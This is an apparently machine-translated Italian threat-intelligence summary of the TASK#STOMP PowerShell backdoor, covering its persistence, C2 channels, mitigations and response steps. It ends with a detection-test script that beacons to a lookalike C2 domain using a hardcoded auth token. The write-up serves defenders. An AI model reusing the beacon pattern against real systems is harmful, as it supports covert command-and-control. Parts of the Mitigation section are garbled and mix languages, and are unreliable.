TASK#STOMP: Backdoor PowerShell per Furto di Documenti e Accesso Remoto

Riepilogo

TASK#STOMP è una backdoor resiliente basata su PowerShell che sfrutta l’orchestrazione VBScript per stabilire molteplici meccanismi di persistenza. Il malware utilizza la compilazione C# in fase di esecuzione per superare la convalida del certificato TLS e mantiene due canali C2 ridondanti per operazioni di spionaggio. Le sue capacità includono il furto automatico di documenti, sorveglianza e esecuzione remota di comandi arbitrari su sistemi Windows compromessi.

Indagine

Securonix Threat Research ha condotto un’analisi statica e dinamica della catena di infezione di Windows guidata da script. I ricercatori hanno decodificato i payload codificati in Base64, inclusa diag_pack.dat and win_conn_cfg.dat, e hanno ricostruito l’albero del processo di esecuzione. L’indagine ha anche scoperto tecniche di timestamping, rotazione dei task pianificati e compilazione .NET in fase di esecuzione utilizzate per eludere il rilevamento di sicurezza.

Mitigazione

I difensori dovrebbero monitorare relazioni sospette tra processi, in particolare wscript.exe or e che avviano schtasks.exe con definizioni XML memorizzate in directory scrivibili dagli utenti. Abilitare il Logging dei Blocchi di Script PowerShell e la telemetria AMSI può aiutare a identificare la decodifica in memoria dei payload. Bloccare i domini C2 conosciuti e rilevare processi figlio inaspettati generati da PowerShell può interrompere ulteriormente l’esecuzione. csc.exe child processes spawned by PowerShell can further disrupt execution.

Risposta

Se viene rilevata attività TASK#STOMP, i soccorritori dovrebbero rimuovere tutti gli ancoraggi di persistenza in modo coordinato, comprese le attività pianificate e le voci della cartella di avvio. Le istanze attive di VBScript e PowerShell associate alla directory WinDefendSvc dovrebbero essere terminate. I file XML dei task e i payload .dat dovrebbero essere conservati per l’analisi forense prima della rimedio.

Parole chiave: TASK#STOMP, backdoor PowerShell, VBScript, persistenza multi-àncora, compilazione C#, convalida certificato TLS, C2 ridondante, furto di documenti, sorveglianza, esecuzione remota di comandi, Securonix Threat Research, Base64, diag_pack.dat, win_conn_cfg.dat, timestamping, rotazione attività pianificata, compilazione .NET, wscript.exe, cscript.exe, schtasks.exe, Logging Blocco Script, AMSI, csc.exe, WinDefendSvc.

Esecuzione Simulazione

• Narrativa dell’Attacco & Comandi: L’avversario ha stabilito con successo la persistenza su una workstation usando una backdoor TASK#STOMP. Per ricevere ulteriori istruzioni ed esfiltrare dati rubati, il malware avvia una sessione PowerShell. Lo script è progettato per mascherarsi come traffico web legittimo comunicando con un dominio che imita un servizio di condivisione file (corecloudfileshare.xyz). Per garantire che solo la backdoor autorizzata possa comunicare con il C2, lo script include un X-Auth-Token hardcoded nelle intestazioni delle richieste HTTP. Questa combinazione specifica di destinazione e intestazione è il trigger principale per la nostra logica di rilevamento.

• Script di Test di Regressione:

  # Script di Simulazione TASK#STOMP
  # Scopo: Imitare la comunicazione C2 per attivare la regola di rilevamento
  
  $C2Domain = "http://corecloudfileshare.xyz/api/checkin"
  $Headers = @{
      "X-Auth-Token" = "STOMP_DEBUG_TOKEN_9928374"
      "User-Agent"   = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  }
  
  Write-Host "[+] Avvio della comunicazione simulata C2 a $C2Domain..."
  try {
      # Usiamo -ErrorAction SilentlyContinue perché il dominio non si risolverà in un ambiente di test reale
      Invoke-WebRequest -Uri $C2Domain -Headers $Headers -Method Get -ErrorAction SilentlyContinue
      Write-Host "[+] Comando inviato."
  } catch {
      Write-Host "[!] Connessione fallita (Previsto se il dominio è inesistente), ma la telemetria dovrebbe essere generata."
  }

• Comandi di Pulizia:

  # Nessun artefatto persistente creato dallo script di simulazione. 
  # Se un file è stato rilasciato, usare: Remove-Item -Path "C:pathtosimulated_malware.exe" -Force
  Write-Host "[+] Pulizia della simulazione completata. Nessun artefatto rimosso."